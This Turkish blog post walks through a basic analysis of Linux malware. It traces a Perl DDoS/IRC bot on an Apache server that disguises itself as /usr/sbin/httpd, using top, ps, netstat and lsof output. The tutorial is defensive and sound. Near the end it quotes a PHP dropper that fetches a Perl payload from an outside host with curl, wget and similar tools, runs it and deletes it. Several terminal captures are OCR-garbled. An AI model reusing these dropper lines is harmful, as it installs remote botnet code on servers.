Basit Malware Analizi (Linux)

written by Mert SARICA | 5 October 2010

Zararlı yazılımlar Windows işletim sisteminden mi ibaret ? Tabii ki hayır özellikle botnet ağının parçası olan zombi sunucuların internette güvenlik yaması yüklenmemiş web uygulamalarını istismar etmek için taradığı günümüzde, Linux sunucu kullanımının Windows sunucu kullanımına kıyasla daha yüksek olması, Linux işletim sistemleri üzerinde çalışan zararlı yazılımların sayısında artışa neden olmaktadır.

Bugünkü yazımda üzerinde zararlı yazılım çalıştığından şüphe ettiğiniz bir Linux web sunucusu (veya masa üstü) üzerinde çalıştırabileceğiniz bir kaç basit komut ile nasıl zararlı yazılım hakkında bilgi edinebileceğinizden kısaca ve basitçe bahsedeceğim.

Çoğunlukla üzerinde zararlı yazılım çalışan bir işletim sisteminin stabilitesi bozulduğunda yüksek miktarda hafıza ve/veya CPU tüketimine neden olmaktadır.

Örnek olarak üzerinde zararlı yazılım çalıştığından şüphe duyduğumuz bir Ubuntu dağıtımına göz atalım. (İnceleme öncesine trojan tarafından kullanılan irc sunucularına ait alan adları HOSTS dosyasına 192.168.1.3 IP adresini çözümleyecek şekilde tanımlanmıştır.)

Yüksek CPU tüketiminden şüphe ettiğimiz bir Linux sistem üzerinde "top" komutu ile sistem üzerinde çalışan programların/komutların ne kadar CPU tükettiğini listeleyebiliriz.

top – 20:08:13 up 44 min, 4 users, load average: 1.20, 0.65, 0.29										
Tasks: 76 total, 2 running, 73 sleeping, 0 stopped, 1 zombie										
Cpu(s): 79.1%us, 20.9%sy, 0.0%ni, 0.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st										
Mem:	510476k	tot	al,	1862	296k u	ısed,	324:	180k fi	ree, 114	460k buffers
Swap:	409616k	tot	al,		0k u	ısed,	4090	516k fi	ree, 1359	948k cached
_										
PID	USER	PR	NI	VIRT	RES	SHR S	5 %CPI	J %MEM	TIME+	COMMAND
12457	www-data	20	0	5928	3776	1216 I	R 98.0	9 0.7	3:27.39	perl
13066	root	20	Θ	2412	1108	872 I	R 0.3	3 0.2	0:00.03	top
1	root	20	Θ	3052	1892	572 3	5 0.0	9 0.4	0:02.02	init
2	root	15	-5	0	0	0 3	5 0.0	9 0.0	0:00.00	kthreadd
3	root	RT	-5	0	0	0 3	3 0.0	9 0.0	0:00.00	migration/0
4	root	15	-5	0	0	0 3	5 0.0	9 0.0	0:00.00	ksoftirqd∕0
5	root	15	-5	0	0	0 3	5 0.0	9 0.0	0:00.01	events/0
6	root	15	-5	0	0	0 3	S 0.0	9 0.0	0:00.04	khelper
12	root	15	-5	0	0	0 3	5 0.0	9 0.0	0:00.00	async/mgr
202	root	15	-5	0	0	0 3	5 0.0	9 0.0	0:00.41	kblockd/0
204	root	15	-5	0	0	0 3	S 0.0	9 0.0	0:00.00	kacpid
205	root	15	-5	0	0	0 3	5 0.0	9 0.0	0:00.00	kacpi_notify
322	root	15	-5	0	0	0 3	5 0.0	9 0.0	0:00.00	ata20
323	root	15	-5	0	0	0 3	5 0.0	9 0.0	0:00.00	ata_aux
327	root	15	-5	0	0	0 3	5 0.0	9 0.0	0:00.00	ksuspend_usbd
333	root	15	-5	0	0	0 3	5 0.0	9 0.0	0:00.00	khubd –
336	root	15	-5	0	0	0 3	5 0.0	0.0	0:00.00	kseriod
368	root	15	-5	0	0	0 3	5 0.0	0.0	0:00.00	khpsbpkt

Ekran görüntüsünden görüleceği üzere www-data kullanıcısı tarafından çalıştırılan perl programı %98 CPU tüketmektedir. www-data kullanıcısı, perl komutunun web sunucusu tarafından çalıştırıldığına dair bize ipucu vermekte fakat bu komutun hangi klasör içinden çalıştırıldığına dair bilgi vermediği için araştırmamıza devam etmemiz gerekmektedir.

Sistem üzerinde çalışan programları "ps ax" komutu ile (normal şartlarda kullanıcı bilgisinide içermesi nedeniyle "ax" yerine "aux" parametrelerinin kullanılmasını öneriyorum) çalışan işlemleri (process) listelettiğimizde "top" komutunun çıktısında en üstte yer alan 12457 ID'li perl programının burada "/usr/bin/httpd" olduğunu görüyoruz.

5272	?	S	0:00	hald-addon-storage: no polling on /dev/fd0 because it						
5275	?	S	0:01	nald-addon-storage: polling /dev/hdc (every 2 sec)						
5289	?	Ss	0:00	usr/bin/system-tools-backends						
5329	tty1	Ss	0:00	/bin/login						
5346	tty1	S+	0:00	-bash						
5763	tty5	S	0:00	-bash						
5904	tty5	S+	0:00	iptraf						
5988	tty4	S	0:00	-bash						
6757	tty2	S+	0:00	-bash						
8751	?	Ss	0:00	dhclient3 -e IF_METRIC=100 -pf /var/run/dhclient.eth0						
12430	?	Ss	0:00	/usr/sbin/apache2 -k start						
12439	?	S	0:00	/usr/sbin/apache2 -k start						
12441	?	S	0:00	/usr/sbin/apache2 -k start						
12442	?	S	0:00	/usr/sbin/apache2 -k start						
12443	?	S	0:00	/usr/sbin/apache2 -k start						
12444	?	S	0:00	/usr/sbin/apache2 -k start						
12445	?	S	0:00	/usr/sbin/apache2 -k start						
12454	?	Z	0:00	[sh] <defunct></defunct>						
12457	?	R :	16:11	/usr/sbin/httpd						
13133	?	S	0:00	/usr/sbin/httpd						
14624	?	S	0:00	/usr/sbin/apache2 -k start						
14627	?	Z	0:00	[sh] <defunct></defunct>						
14630	?	R	0:03	/usr/local/apache/bin/httpd -DSSL						
14636	tty4	R+	0:00	ps ax						
root@b	ot: [~] # _									

Bir kaç satır üste baktığımızda sistem üzerinde apache2'ninde çalıştığı görülmektedir. Hem apache2 ve hem httpd sistemimiz üzerinde çalışıyor ve iki farklı komut (top ve ps) tek bir PID (process id) için iki farklı programı işaret ettiği için alarm çanlarını çalabiliriz çünkü bu sistem üzerinde birşeylerin kendini gizlemeye çalıştığını açıkça işaret ediyor.

Araştırmamıza devam ederek sistem üzerinde öncelikle TCP protokolüne ait açık ağ bağlantı noktalarını ve durumlarını "netstat -ant" komutu ile listeliyoruz. (Normal şartlarda netstat programı tarafından desteklenen tüm protokollere ait açık ağ bağlantı noktalarının listelenmesi için "netstat an" komutunu kullanmanızı öneriyorum.)

13066	root	20	Θ	2412 1	108	872 R	0.3	0.2	0:00.09	top
1	root	20	Θ	3052 1	.892	572 S	0.0	0.4	0:02.02	init
2	root	15	-5	0	Θ	0 S	0.0	0.0	0:00.00	kthreadd
3	root	RT	-5	0	Θ	0 S	0.0	0.0	0:00.00	migration/0
4	root	15	-5	Θ	Θ	0 S	0.0	0.0	0:00.00	ksoftirqd/0
5	root	15	-5	Θ	Θ	0 S	0.0	0.0	0:00.01	events/0
6	root	15	-5	Θ	Θ	0 S	0.0	0.0	0:00.04	khelper
12	root	15	-5	Θ	Θ	0 S	0.0	0.0	0:00.00	async/mgr
202	root	15	-5	Θ	Θ	0 S	0.0	0.0	0:00.41	kblockd/0
204	root	15	-5	Θ	Θ	0 S	0.0	0.0	0:00.00	kacpid
205	root	15	-5	Θ	Θ	0 S	0.0	0.0	0:00.00	kacpi_notify
322	root	15	-5	Θ	Θ	0 S	0.0	0.0	0:00.00	ata/0
323	root	15	-5	Θ	Θ	0 S	0.0	0.0	0:00.00	ata_aux
327	root	15	-5	Θ	0	0 S	0.0	0.0	0:00.00	ksuspend_usbd
333	root	15	-5	Θ	0	0 S	0.0	0.0	0:00.00	khubd
336	root	15	-5	Θ	0	0 S	0.0	0.0	0:00.00	kseriod
368	root	15	-5	Θ	Θ	0 S	0.0	0.0	0:00.00	khpsbpkt
rootel	bt:∕bot	# netsta	at -	ant						
Active	e Inter	net com	nect	ions (s	erve	rs and	estal	olished	1)	
Proto	Recv-Q	Send-Q	Loc	al Addr	ess		Fo	oreign	Address	State
tcp	0	0	0.0	.0.0:80	1		0	0.0.0	*	LISTEN
tcp	0	0	192	.168.2.	129:	46075	19	92.168	.1.3:6667	ES TABL I SHED
tcp	0	1	192	.168.2.	129:	40479	20	97.46.3	170.123:81	L SYN_SENT
tcp	0	0	192	.168.2.	129:	80	19	92.168	.2.1:50019	ESTABLISHED
rootel	bt:∕bot	#								

Yukarıdaki ekran görüntüsünde, 192.168.2.129 IP adresine sahip olam sistemimiz 6667 numaralı bağlantı noktası üzerinden 192.168.1.3 IP adresi ile haberleştiğini görüyoruz. 6667-6669 bağlantı noktaları çoğunlukla IRC (internet relay chat) sohbet sunucuları tarafından kullanılmaktadır. Bu bağlantı noktası ile gerçekleşen haberleşme bize sistem üzerinde çalıştığından şüphe ettiğimiz zararlı yazılımın DDOS botu olma ihtimalini güçlendiriyor.

Sistemimiz üzerindeki açık dosya ve soketlerin listesini görmek için "lsof" komutundan faydalanabiliriz. Bu komut sayesinde 12457 PID'li şüpheli programın hangi dosyalara eriştiğini ve soketleri kullandığını listeliyoruz.

perl	12457	www-data	mem	REG	8,1	149332	320346	/lib/tls/i686/cmov/libm	
-2.8.90	. SO								
perl	12457	www-data	mem	REG	8,1	9676	320344	/lib/tls/i686/cmov/libd	
1-2.8.90	9.so								
perl	12457	www-data	mem	REG	8,1	21940	263442	/usr/lib/perl/5.10.0/au	
to/Socke	et/Socl	ket.so							
perl	12457	www-data	mem	REG	8,1	17812	263251	/usr/lib/perl/5.10.0/au	
to/I0/I0).so								
perl	12457	www-data	mem	REG	8,1	113252	310709	/lib/ld-2.8.90.so	
perl	12457	www-data	$\mathbf{0r}$	CHR	1,3		6732	/dev/null	
perl	12457	www-data	1ω	FIFO	0,6		63584	pipe	
perl	12457	www-data	Zω	REG	8,1	15262	479317	/var/log/apache2/error.	
log									
perl	12457	www-data	3u	IPv4	63534		TCP	*:www (LISTEN)	
perl	12457	www-data	4r	FIFO	0,6		63544	pipe	
perl	12457	www-data	5ω	FIFO	0,6		63544	pipe	
perl	12457	www-data	6w	REG	8,1	0	479318	/var/log/apache2/other_	
vhosts_a	access	. log							
perl	12457	www-data	7ω	REG	8,1	14566	479316	/var/log/apache2/access	
.log									
perl	12457	www-data	8u	0000	0,7	0	15	anon_inode	
perl	12457	www-data	9u	sock	0,4		63555	can't identify protocol	
perl	12457	www-data	10u	IPv4	67852		TCP	192.168.2.129:46075->ir	
c.indofo	c.indoforum.org:ircd (ESTABLISHED)								
root@bt	:∕bot#	lsof -p 1	2457_						

En üst satırda yer alan ve perl'e ait olan socket kütüphanesi bize çalışan zararlı yazılımın Perl ile hazırlandığını, "ps ax" çıktısında yer alan "/usr/bin/httpd" komutunun sahte olduğunu açıkça ifade ediyor. Bununlada yetinmeyip çapraz kontrol adına "ls -al /usr/bin/httpd" komutu ile httpd programının sistem üzerindeki varlığını kolayca teyit edebiliriz.

5904	ttu5	S+	0:00	iptraf
5988	ttu4		0:00	-bash
6757	ttu2	S+	0:00	-bash
8751	?	Ss	0:00	dhclient3 -e IF_METRIC=100 -pf /var/run/dhclient.eth0
12430	?	Ss	0:00	/usr/sbin/apache2 -k start
12439	?	S	0:00	/usr/sbin/apache2 -k start
12441	?	S	0:00	/usr/sbin/apache2 -k start
12442	?	S	0:00	/usr/sbin/apache2 -k start
12443	?	S	0:00	/usr/sbin/apache2 -k start
12444	?	S	0:00	/usr/sbin/apache2 -k start
12445	?	S	0:00	/usr/sbin/apache2 -k start
12454	?	Z	0:00	[sh] <defunct></defunct>
12457	?	R	27:11	/usr/sbin/httpd
13133	?	S	0:00	/usr/sbin/httpd
14624	?	S	0:00	/usr/sbin/apache2 -k start
14627	?	Z	0:00	[sh] <defunct></defunct>
14630	?	R	11:03	/usr/local/apache/bin/httpd -DSSL
15081	tty3	S	0:00	-bash
18526	?	Ss	0:00	/usr/sbin/clamd
20116	tty3	S+	0:00	less
20477	tty2	Т	0:00	top
21662	tty1	R+	0:00	ps ax
rootel	bt:∕#	ls -al	/usr/sbin	1/httpd
ls: ca	annot	access	/usr/sbin	n/httpd: No such file or directory
root0	bt:∕#	_		

"lsof" komutunun diğer bir güzel özelliği ise size ilgili program tarafından kullanılan CWD (current working directory) bilgisinide veriyor olmasıdır. www-data kullanıcısı apache2 programının çalıştırılmasından sorumlu ise ve şüphelendiğimiz zararlı yazılım/komut bu kullanıcı tarafından çalıştırılmış ise bu durumda ikisinin tek ortak noktasının apache2 programı olduğu düşünüldüğünde "lsof | grep -i www-data | grep cwd " komutu ile www-data kullanıcısına ait bilgiler filtrelendiğinde karşımıza aşağıdaki tablo çıkıyor.

root@bt://	‡lsof¦	grep –i wu	⊌w-data ¦	grep cwd				
apache2	12439	www-data	cwd	DIR	8,1	4096	442277 /var/www	
∕maker⁄inf	î o							
apache2	12441	www-data	cwd	DIR	8,1	4096	2 /	
apache2	12442	www-data	cwd	DIR	8,1	4096	2 /	
apache2	12443	www-data	cwd	DIR	8,1	4096	442277 /var/www	
/maker/info								
apache2	12444	www-data	cwd	DIR	8,1	4096	2 /	
apache2	12445	www-data	cwd	DIR	8,1	4096	2 /	
perl	12457	www-data	cwd	DIR	8,1	4096	2 /	
perl	13133	www-data	cwd	DIR	8,1	4096	2 /	
apache2	14624	www-data	cwd	DIR	8,1	4096	2 /	
perl	24984	www-data	cwd	DIR	8,1	4096	2 /	
root@bt:/# _								

En üst satırda yer alan ve apache2'ye ait olan CWD bilgisi ("/var/www/maker/info") bize zararlı programın www-data kullanıcısı ile apache2 üzerinden çalıştırılmış olma ihtimalini oldukça güçlendiriyor.

ClamAV antivirüs yazılımı ile ilgili klasör üzerinde yaptığımız tarama sonuç veriyor ve trojanın bu klasör içinde bulunduğu netlik kazanıyor.

root@bt:/#

<u>≺</u>?php echo exec('cd /tmp;curl -o http://goodfilter.net/maker/info/rdl.txt;perl rdl.tx t;rm -rf rdl.txt'); echo exec('cd /tmp;GET http://goodfilter.net/maker/info/rdl.txt;perl rdl.txt;rm -rf rdl.txt'); echo exec('cd /tmp;wget http://goodfilter.net/maker/info/rdl.txt;perl rdl.txt;r m -rf rdl.txt'); echo exec('cd /tmp;fetch http://goodfilter.net/maker/info/rdl.txt;perl rdl.txt; rm -rf rdl.txt'); echo exec('cd /tmp;lwp-download http://goodfilter.net/maker/info/rdl.txt;perl r dl.txt;rm -rf rdl.txt'); echo passthru('cd /tmp;fetch http://goodfilter.net/maker/info/rdl.txt;perl rdl. txt;rm -rf rdl.txt'); echo passthru('cd /tmp;wget http://goodfilter.net/maker/info/rdl.txt;perl rdl.t xt;rm -rf rdl.txt'); echo passthru('cd /tmp;curl -o http://goodfilter.net/maker/info/rdl.txt;perl rd l.txt;rm -rf rdl.txt'); echo passthru('cd /tmp;GET http://goodfilter.net/maker/info/rdl.txt.txt;perl rd l.txt;rm -rf rdl.txt'); echo passthru('cd /tmp;lwp-download http://goodfilter.net/maker/info/rdl.txt;pe rl rdl.txt;rm -rf rdl.txt'); echo system('cd /tmp;curl -o http://goodfilter.net/maker/info/rdl.txt;perl rdl. txt;rm -rf rdl.txt'); "/var/www/maker/info/spd.php" 23 lines, 2058 characters

GNU nano 2.0.7

File: rdl.txt

Yukarıda yer alan son ekran görüntüsünde rdl.txt dosyasına herhangi bir metin editörü ile baktığımızda ise bunun bir ddos botu olduğu ve "ps ax" komutunun çıktısında zararlı yazılımın neden "/usr/bin/httpd" olarak görüldüğü anlaşılıyordu.

İnternet üzerinden bulmuş olduğum bir trojan (ddos saldırısı gerçekleştirme özelliğine sahip) ile oluşturmuş olduğum örnek bir senaryo üzerinden giderek sizlere basitte olsa Linux işletim sistemi üzerinde nasıl zararlı yazılım izi sürebileceğinizi kısaca anlatmaya çalıştım, umarım faydalı olmuştur. Bir sonraki yazıda görüşmek dileğiyle…